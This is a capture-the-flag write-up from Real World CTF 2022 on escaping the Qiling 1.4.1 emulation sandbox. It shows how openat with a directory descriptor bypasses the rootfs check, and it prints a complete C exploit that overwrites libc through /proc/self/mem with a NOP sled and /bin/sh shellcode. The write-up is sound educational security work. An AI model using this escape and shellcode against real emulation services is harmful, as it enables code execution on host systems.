Rating: 5.0
Full writeup with proper formatting: [on our website here](https://www.kalmarunionen.dk/writeups/2022/rwctf/qlaas/)
Writeup by: [Oliver Lyak (ly4k)](https://twitter.com/ly4k_)
Solved by: [Zopazz](https://www.linkedin.com/in/jens-nielsen-b796b5133), [Oliver Lyak (ly4k)](https://twitter.com/ly4k_)
# QLaaS
![](/images/desc.png)
QLaaS (Qiling as a Service) was a `Clone-and-Pwn` challenge with difficulty `Schrödinger` (whatever that means). The challenge was solved by 23 out of 947 teams.
We are provided with the following attachment:
- [QLaaS_61a8e641694e10ce360554241bdda977.tar.gz](/assets/writeups/qlaas/QLaaS_61a8e641694e10ce360554241bdda977.tar.gz)
The attachment contains a single file (`main.py`):
```python
#!/usr/bin/env python3
import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())
with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')
with open(fp, 'wb') as f:
f.write(binary)
my_sandbox(fp, tmp_dir)
if __name__ == '__main__':
main()
```
The challenge is running on `47.242.149.197:7600` and the goal is to execute the SUID binary `/readflag` which will print out the contents of `/flag`.
The challenge is relatively straightforward. We can upload and emulate an arbitrary executable inside a sandbox using Qiling version 1.4.1 (the latest version at the time of writing). As such, we need to figure out how to escape the sandbox and ultimately achieve arbitrary code execution.
## Qiling
[Qiling](https://github.com/qilingframework/qiling) is "an advanced binary emulation framework" that can be used to emulate multiple platforms, architectures, file formats, and much more. One feature of Qiling, according to their README, is that it "emulates and sandbox code in an isolated environment".
Qiling uses [Unicorn](https://github.com/unicorn-engine/unicorn) for the CPU emulation, but everything related to the OS is handled by Qiling. This means that Qiling has implemented various syscalls for multiple platforms, including Windows, Linux, and MacOS to name a few.
Qiling also provides the feature to emulate a binary in a sandboxed environment. This is especially useful for providing a fake filesystem for instance when emulating a Windows binary on Linux, or when a sandbox is desired. Here's an example from their README that shows how to use Qiling framework to emulate a Windows EXE on a Linux machine:
```python
from qiling import *
# sandbox to emulate the EXE
def my_sandbox(path, rootfs):
# setup Qiling engine
ql = Qiling(path, rootfs)
# now emulate the EXE
ql.run()
if __name__ == "__main__":
# execute Windows EXE under our rootfs
my_sandbox(["examples/rootfs/x86_windows/bin/x86_hello.exe"], "examples/rootfs/x86_windows")
```
It's that easy. Now, the sandbox (or "rootfs") *should* restrict any file operations to happen within the sandbox. It's important to note that everything is emulated, so even if we escaped the filesystem sandbox, we would still have to escape the binary emulation.
## Setup
To debug and test our solution, we can easily make an almost identical setup. First, we create a new empty folder called `rootfs` which will be our local filesystem sandbox. We can then install Qiling via Pip and use the following script for the emulation:
```python
import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
my_sandbox("rootfs/payload", "rootfs")
if __name__ == '__main__':
main()
```
And finally, our payload binary that will be emulated can be compiled with:
```sh
gcc payload.c -static -o rootfs/payload
```
If we don't compile our binary statically, then Qiling won't be able to find any shared libraries in our empty rootfs.
With everything set up, we can make a quick test to see the filesystem sandbox in action.
![](/images/test.png)
## Vulnerability Discovery
At this point, we should have a basic understanding of Qiling and the sandbox feature. Qiling has implemented a lot (but not all) of syscalls for various operating systems, and it would be a good place to start hunting for vulnerabilities in these implementations, especially for syscalls related to the filesystem.
The Qiling source code contains over 500 files with almost 100.000 lines of Python code. But if we focus only on the implementations of Posix syscalls, we're down to around 4.000 lines of Python code. Let's start by looking at how the `open` Posix syscall is implemented. The implementation cound be found in `qiling/os/posix/syscall/fcntl.py`.
![](/images/open_syscall_implementation.png)
On lines `16-18`, the filename (`path`) is converted to a "real path" and a "relative path", which is only used for logging on lines `40-45`. On line `23`, a possible file descriptor value (`idx`) is obtained by finding an empty slot in the list of file descriptors `ql.os.fd`. For instance, `0`, `1`, and `2` are already allocated to `stdin`, `stdout`, and `stderr`, respectively. Then on line `33`, the `flags` are passed to `ql_open_flag_mapping`, and finally on line `34`, `ql.os.fs_mapper.open_ql_file` is called with `path`, `flags`, and `mode`. For now, let's just pretend that these values are passed directly from our syscall `open(const char *pathname, int flags, mode_t mode)` (OPEN(2)).
The function `open_ql_file` can be found inside of `qiling/os/mapper.py`.
![](/images/open_ql_file.png)
Here, we can also see an optional parameter `dir_fd`, which we'll come back to later on. First, this function checks if the Qiling instance already contains a mapping for the file, i.e. the file is already opened. If that's not the case, the function checks if the parameter `dir_fd` is set. If that's the case, the function will call `ql_file.open` with the parameters passed directly. If the parameter `dir_fd` is **not** set, the function will call `transform_to_real_path` on the path, and then call `ql_file.open`. We will come back to `transform_to_real_path` in a bit, but let's focus on `ql_file.open` for now. This function can be found in `qiling/os/filestruct.py`.
![](/images/ql_file_open.png)
This function is relatively simple. It masks the `open_mode` (`mode`) with `0x7fffffff` and then calls `os.open` with the parameters. The function `os.open` is the from the [Python standard library](https://docs.python.org/3/library/os.html). Now, you might be thinking, "where is the sandbox implemented?". And to answer the question, we need to go back to the function `open_ql_file`. Here we noticed that if the parameter `dir_fd` was not set, then the path was passed to `transform_to_real_path` before being passed to `ql_file.open`. The `transform_to_real_path` function can be found in `qiling/os/path.py`.
![](/images/transform_to_real_path.png)
In this function, we see our first reference to `rootfs`. On line `131`, the function `convert_path` is called with `(self.ql.rootfs, self.cwd, path)`. If we take a closer look at that function (found earlier in the same file), we can see that the `real_path` is constructed by prepending the `rootfs` to the normalized concatenation of the current working directory (`cwd`) and our supplied `path`.
![](/images/convert_path.png)
Let's suppose the `rootfs` (sandbox) is set to `/tmp/sandbox`, the current working directory is set to `/`, and the `path` we try to open is `../../etc/passwd`. First, the current working directory and the path is concatenated and normalized, which results in `/etc/passwd`. This path is then prepended by the `rootfs`, which results in `/tmp/sandbox/etc/passwd`. So path traversal is not an option.
Back in `transform_to_real_path`, `real_path` should now point inside of the `rootfs`. So this is where the filesystem sandbox comes in. But then the function checks if the `real_path` is a symbolic link. If that's the case, the function reads the symbolic link value and stores it to `link_path`. Now, if the symbolic link is **not** absolute, then `real_path` is set to `Path(os.path.join(os.path.dirname(real_path), link_path))`. The function then checks whether `real_path` exists. We will skip this part. But let's go back to the part where the `real_path` is constructed from the symbolic link.
Let's suppose we have created a symbolic link `/mylink` in our sandbox that points to `../../../etc/passwd`, and the sandbox is `/tmp/mysandbox`. The variable `real_path` will in this case be `/tmp/mysandbox/mylink`, which points to `../../../etc/passwd`. On line `134`, the pointer for the symbolic link `/mylink` is saved in `link_path`. Since the symbolic link is not absolute, the link is concatenated with the directory of the real path. Here's a quick demonstration.
![](/images/symlink_test.png)
So if we can create symbolic links, we can successfully read and write files outside of the filesystem sandbox. But unfortunately, if we try to create a symbolic link, we notice that Qiling has not implemented this syscall.
![](/images/symlink_not_implemented.png)
But now we have an idea of how the filesystem sandbox is used. There is however an interesting case. Remember that inside `open_ql_file`, `transform_to_real_path` was only called if the parameter `dir_fd` was not set. This means that if we can specify a `dir_fd` along with our `open` syscall, then we can bypass the sandbox.
Back in `qiling/os/posix/syscall/fcntl.py`, we find that the `dir_fd` parameter can be passed through the `openat` syscall.
![](/images/openat_dirfd.png)
The syscall `openat` is similar to the `open` syscall, except that an additional parameter `dirfd` is supplied. Here's a snippet from the man page (OPEN(2)):
The openat() system call operates in exactly the same way as open(), except for the differences described here.
If the pathname given in pathname is relative, then it is interpreted relative to the directory referred to by the file descriptor dirfd (rather than relative to the current working directory of the calling process, as is done by open() for a relative pathname).
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process (like open()).
If pathname is absolute, then dirfd is ignored.
And the last line is crucial: "If pathname is absolute, then dirfd is ignored." The implementation of the `openat` syscall will eventually call `open_ql_file` with the `dir_fd` parameter, and in this case, where the `dir_fd` parameter is set, the sandbox will have no effect. On line `104` there is however a minor check that the `dir_fd` parameter is an existing file descriptor, but we can just use `1` for stdout. So let's try it out on the remote server:
![](/images/file_read.png)
Success! We are now able to read and write files outside of the sandbox, but remember that the goal is to execute `/readflag` - without emulation. Fear not, the last part is relatively short in comparison to this part.
## Exploitation
At this point, we can read and write files outside of the sandbox with `openat`. The next step is to get code execution. So what files would be interesting to write to? Perhaps we could overwrite some Python script on disk, but this is a shared server, so that's not very likely and also not very flexible for other situations. But remember that we're currently running inside of a Python process, so let's see if we can just overwrite some memory of our current process to get code execution. First, let's try to read the mappings of our current process by reading the contents of `/proc/self/maps`.
![](/images/read_proc_self_maps.png)
Excellent. The full mapping is truncated, but we can essentially get the addresses of different memory mappings and their protections by reading the `/proc/self/maps` file. To read and write memory inside of our current process, we can open `/proc/self/mem`, which is a virtual file for our current process' memory, and then call `lseek` to seek the desired address.
The next step is to find something interesting to overwrite. We *could* try to find some Python bytecode in memory and overwrite it, but that's rather cumbersome. Since we have full control over the memory, and memory protections don't have any effect on our read/write operations, we can just overwrite some executable code.
A good target candidate for an executable mapping is "libc", because it's used heavily by Python, so if we're lucky, we can overwrite some code that will get executed within a short time. To increase our chances, we can use a ["NOP sled"](https://en.wikipedia.org/wiki/NOP_slide). A NOP sled is just a sequence of NOP (no-operation) instructions meant to "slide" the CPU's instruction execution flow to its final destination. We can then add our desired shellcode at the end of the NOP sled. This means that if we overwrite a Libc function that is in the middle of our NOP sled, and the function is executed, then the CPU will just slide straight into our desired shellcode.
So the plan is to create a shellcode with a huge NOP sled, find an executable mapping for Libc and then overwrite the code with our shellcode.
Here's the C implementation.
```c
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <string.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, [...], 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01,
0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a,
0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a,
0x3b, 0x58, 0x0f, 0x05
};
unsigned int shellcode_len = 4144;
int main() {
long start_addr;
// Open mappings
int map = openat(1, "/proc/self/maps", O_RDONLY);
// Open Python process memory
int mem = openat(1, "/proc/self/mem", O_RDWR);
FILE *fp_map = fdopen(map, "r");
// Find the first executable mapping for Libc
char line[4096];
while (fgets(line, sizeof line, fp_map)) {
size_t len = strlen(line);
if (strstr(line, "r-xp") != NULL && strstr(line, "libc-")) {
// Retrive start address of mapping
sscanf(line, "%lx-", &start_addr);
break;
}
}
// Seek to the address of the executable mapping for Libc
lseek(mem, start_addr, SEEK_SET);
// Write the payload into the executable mapping
write(mem, shellcode, shellcode_len);
}
```
The shellcode in this example is 4096 NOPs followed by some shellcode that will spawn `/bin/sh`. Let's see it in action:
![](/images/get_flag.png)
And there we have it: `rwctf{s0-many-vu1n_but-only-few-exploitable}`